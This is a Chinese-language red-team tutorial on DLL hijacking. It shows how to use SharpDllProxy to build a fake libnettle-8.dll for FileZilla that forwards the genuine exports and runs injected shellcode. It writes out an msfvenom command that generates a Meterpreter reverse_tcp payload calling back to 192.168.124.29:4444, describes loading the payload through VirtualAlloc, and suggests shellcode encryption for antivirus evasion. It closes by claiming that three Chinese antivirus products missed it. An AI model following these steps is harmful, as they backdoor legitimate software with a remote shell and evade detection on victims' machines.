dll劫持
再Windows 7 版本之后,系統(tǒng)采用了KnowDLLs對DLL進行管理,其位于注冊表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs下,在這個下面的DLL文件會被禁止從exe自身所在的目錄下調(diào)用,而只能從系統(tǒng)目錄(System32)目錄下調(diào)用。造成dll劫持的原因是因為并非所有的DLL都會被寫入注冊表中。
使用msfvenom生成的dll直接秒殺。
SharpDllProxy
聽名字大概類似于socks代理一樣。工具來源自:https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/。具體實現(xiàn)還可以參考這篇大佬的博客.
前言
先理解下動態(tài)鏈接庫的運行原理。如果應(yīng)用程序A要使用動態(tài)鏈接庫DataFunctions.dll里面的GetFunkyData()函數(shù),就需要加載DataFunctions.dll動態(tài)鏈接庫。這個工具就是出于這一點考慮,創(chuàng)建一個名字一模一樣的DataFunction.dll動態(tài)鏈接庫,他的功能有兩個:①做個快捷鍵,將所有的功能轉(zhuǎn)發(fā)到千真萬確的動態(tài)鏈接庫DataFunctions.dll,這就是名字中proxy的由來;②在這個假冒的DataFunctions.dll里面寫入shellcode。附上作者原圖:
實驗過程
目標程序
花費了些時間搞這實驗,例如FileZilla軟件,怎么去找這個需要加載的dll呢?如作者說的,把該軟件拷貝出去就知道他缺什么了。如下:
那就說明運行改應(yīng)用程序需要加載該DLL文件,那就針對這個DLL做一個假的libnettle-8.dll。
生成shellcode
<br/>
<br/>
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.124.29 LPORT=4444 -f raw > shell.bin
實驗開始
首先下載SharpDllProxy:https://github.com/Flangvik/SharpDllProxy,然后使用visual studio 2019對其進行編譯,盡量不要使用其他版本,因為我用了下visual studio 2017各種報錯搞了半天沒搞出來,也可能環(huán)境有問題。
直接使用 vs 打開 文件下的SharpDllProxy –》 生成解決方案
利用SharpDllProxy.dll創(chuàng)建一個偽造的libnettle-8.dll文件。將shell.bin和需要被假冒的Dll放到上圖的文件中。執(zhí)行如下命令:.SharpDllProxy.exe –dll libnettle-8.dll –payload shell.bin
生成的文件包含了一個C文件和一個dll,這個dll文件就是原來的 libnettle-8.dll 文件。
來分析下這個C語言程序,從第9行到494行都是轉(zhuǎn)發(fā)DLL的函數(shù),將所有需要運行函數(shù)轉(zhuǎn)發(fā)原來的DLL,讓其進行處理。
到了497行就是我們插入的shellcode的地方。重點代碼也就只有這么一點,其實還可以直接把shell.bin這個shellcode寫入到該文件,就減少了文件可疑文件數(shù)量。在這里,我們通過VirtualAlloc內(nèi)存操作將shellcode以二進制方式讀入并執(zhí)行。到這里就可以自己一頓操作猛如虎,各種免殺姿勢用上來,例如換個加載方式,如對shellcode先加密然后解密運行。
使用 VS 編譯上面的C文件。在文件菜單下選擇新建,然后選擇動態(tài)鏈接庫項目,將項目命名為 libnettle-8。復(fù)制上面的C文件代碼到VS中編譯
將上面的三個文件(tmpD475.dll、libnettle-8.dll、shell.bin),發(fā)送到目標系統(tǒng)中。使用msf監(jiān)聽,然后運行程序,就已經(jīng)返回會話了。
使用最常用的殺毒軟件:360、火絨和安全管家都沒有被發(fā)現(xiàn)。